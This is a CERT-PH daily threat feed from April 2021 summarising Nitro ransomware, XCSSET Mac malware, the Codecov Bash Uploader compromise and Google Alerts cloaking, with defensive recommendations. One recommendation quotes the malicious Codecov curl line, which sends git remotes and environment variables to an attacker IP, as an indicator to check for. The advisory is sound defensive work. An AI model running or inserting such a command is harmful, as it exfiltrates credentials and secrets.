# CERT-PH Cybersecurity Threat Feeds

| Issue Date | April 20, 2021 |
|---|---|
| TLP: White | |

## Summary

**The latest cyber threat topics gathered from the web and analyzed by the CERT-PH research team over the last 24 hours that may impact the Philippine government and cyberspace:**

- Nitro Ransomware Demands Gift Codes As Ransom Payments
- XCSSET Malware Targets MacOS 11 and M1-based Macs
- Codecov's Bash Uploader Development Tool Compromised
- Google Alerts Continues to be a Hotbed of Scams and Malware

- CRITICAL
- URGENT
- INFORMATION

## Description

### Nitro Ransomware Demands Gift Codes as Ransom Payments

2021.04.19 | Source(s): Bleeping Computer, Security Affairs

**Analysis:**

Cybersecurity experts discovered a new ransomware that encrypts the victim's file then demands a Discord Nitro gift code to decrypt files. Dubbed as NitroRansomware, the ransomware deviates from the usual ransomware demands of thousands to millions of dollars in cryptocurrency instead it demands a Nitro Gift code which can be cashed out by selling it in underground marketplace and hacking forums. NitroRansomware has been distributed as a fake free Nitro gift code generator. After encrypting files, it appends the .givemenitro extension to the encrypted files and changes the user's wallpaper to an evil Discord logo. The ransomware threatens the victim giving them three hours to comply with its demands or it will delete the encrypted files. In addition, NitroRansomware will also attempt to steal data from Google Chrome, Brave Browser and Yandex Browser.

**Read more:**

[https://www.bleepingcomputer[.]com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/]
[https://securityaffairs[.]co/wordpress/116975/malware/nitroransomware-discord-gift-code.html]

### XCSSET Malware Targets MacOS 11 and M1-based Macs

2021.04.19 | Source(s): Security Affairs, The Hacker News

**Analysis:**

Researchers discovered a previously known malware that targets Xcode developers is now re-engineered and employed in a campaign aimed at Apple's new M1 chip. Dubbed as XCSSET, the mac malware was first discovered in 2020 spreading through Xcode projects and exploits two zero-day vulnerabilities to steal sensitive information from target systems and launch ransomware attacks. It is also capable of launching universal cross-site scripting (UXSS) attacks to inject JavaScript code into the browser while visiting specific websites and changing the user's browser experience. This behavior allows the malicious code to replace cryptocurrency addresses, and steal credentials for online services and payment card information from the Apple Store. According to security researchers, the new variant of the XCSSET leverages the development version of Safari to load malicious Safari frameworks and related JavaScript backdoors from its C&C server. It hosts Safari update packages in the C&C server, then downloads and installs packages for the user's OS version.

**Read more:**

[https://securityaffairs[.]co/wordpress/116983/malware/xcsset-malware-apple-m1.html]
[https://thehackernews[.]com/2021/04/malware-spreads-via-xcode-projects-now.html]

### Codecov's Bash Uploader Development Tool Compromised

2021.04.16 | Source(s): Security Affairs

**Analysis:**

The software company Codecov disclosed that they recently suffered a security breach where threat actors compromised its infrastructure to inject a credentials harvester code to one of its tools named Bash Uploader. According to security experts, threat actors were able to gain periodic access to the Bash Uploader script making changes to add malicious code that would allow the attackers to intercept uploads and scan and collect any sensitive information including credentials, tokens or

keys. Codecov immediately secured its infrastructure and began investigating the incident with the support of a third-party forensic firm. The security breach also impacted many other products of the company using the Bash Uploader script, including Codecov-actions uploader for Github, the Codecov CircleCl Orb, and the Codecov Bitrise Step.

**Read more:**

[https://securityaffairs[.]co/wordpress/116967/hacking/codecov-supply-chain-attack.html]

## Google Alerts Continues to be a Hotbed of Scams and Malware

2021.04.19 | Source(s): Bleeping Computer

**Analysis:**

Security experts observed that threat actors are actively abusing Google Alerts to promote malicious websites. Known as cloaking, threat actors deceive Google into thinking that malicious sites are legitimate utilizing the black hat search engine (SEO) technique that allows the website to look like a plain text or a typical blog post when Google's search engine spiders visit the page but perform malicious redirects when a user visits the site from a Google redirect.

**Read more:**

[https://www.bleepingcomputer[.]com/news/security/google-alerts-continues-to-be-a-hotbed-of-scams-and-malware/]

## CERT-PH Recommendations:

- Users are urged to be cautious and check the email thoroughly before downloading and opening email attachments, especially when received from unknown email senders, as ransomware are usually found on email attachments and pirated application software.
- Affected Codecov users are urged to immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that relied on Bash Uploader.
- Codecov users are highly advised to check the bash script for any line that contains “curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<attacker_ip>/upload/v2 || true” and immediately replace the bash files with the most recent version from https://codecov.io/bash.
- Agencies must protect their assets and perimeter by minimizing the point of entry that an unwanted attacker might take. Thus, actions must be taken such as:
  - Closing misconfigured and/or unused ports that are accessible in the public internet.
  - Regularly monitoring and patching of systems, software application, and devices.
  - Educating employees regarding cyber hygiene and cybersecurity best practices.

| | |
|---|---|
| **Critical** | *The information stated is deemed to be crucial to organizations and can significantly shift security concerns and issues based on following events.* |
| **Urgent** | *The information stated needs to be addressed timely, which may require immediate attention and/or prompt action.* |
| **Information** | *The information stated is good to know knowledge that provides awareness and understanding to the topic.* |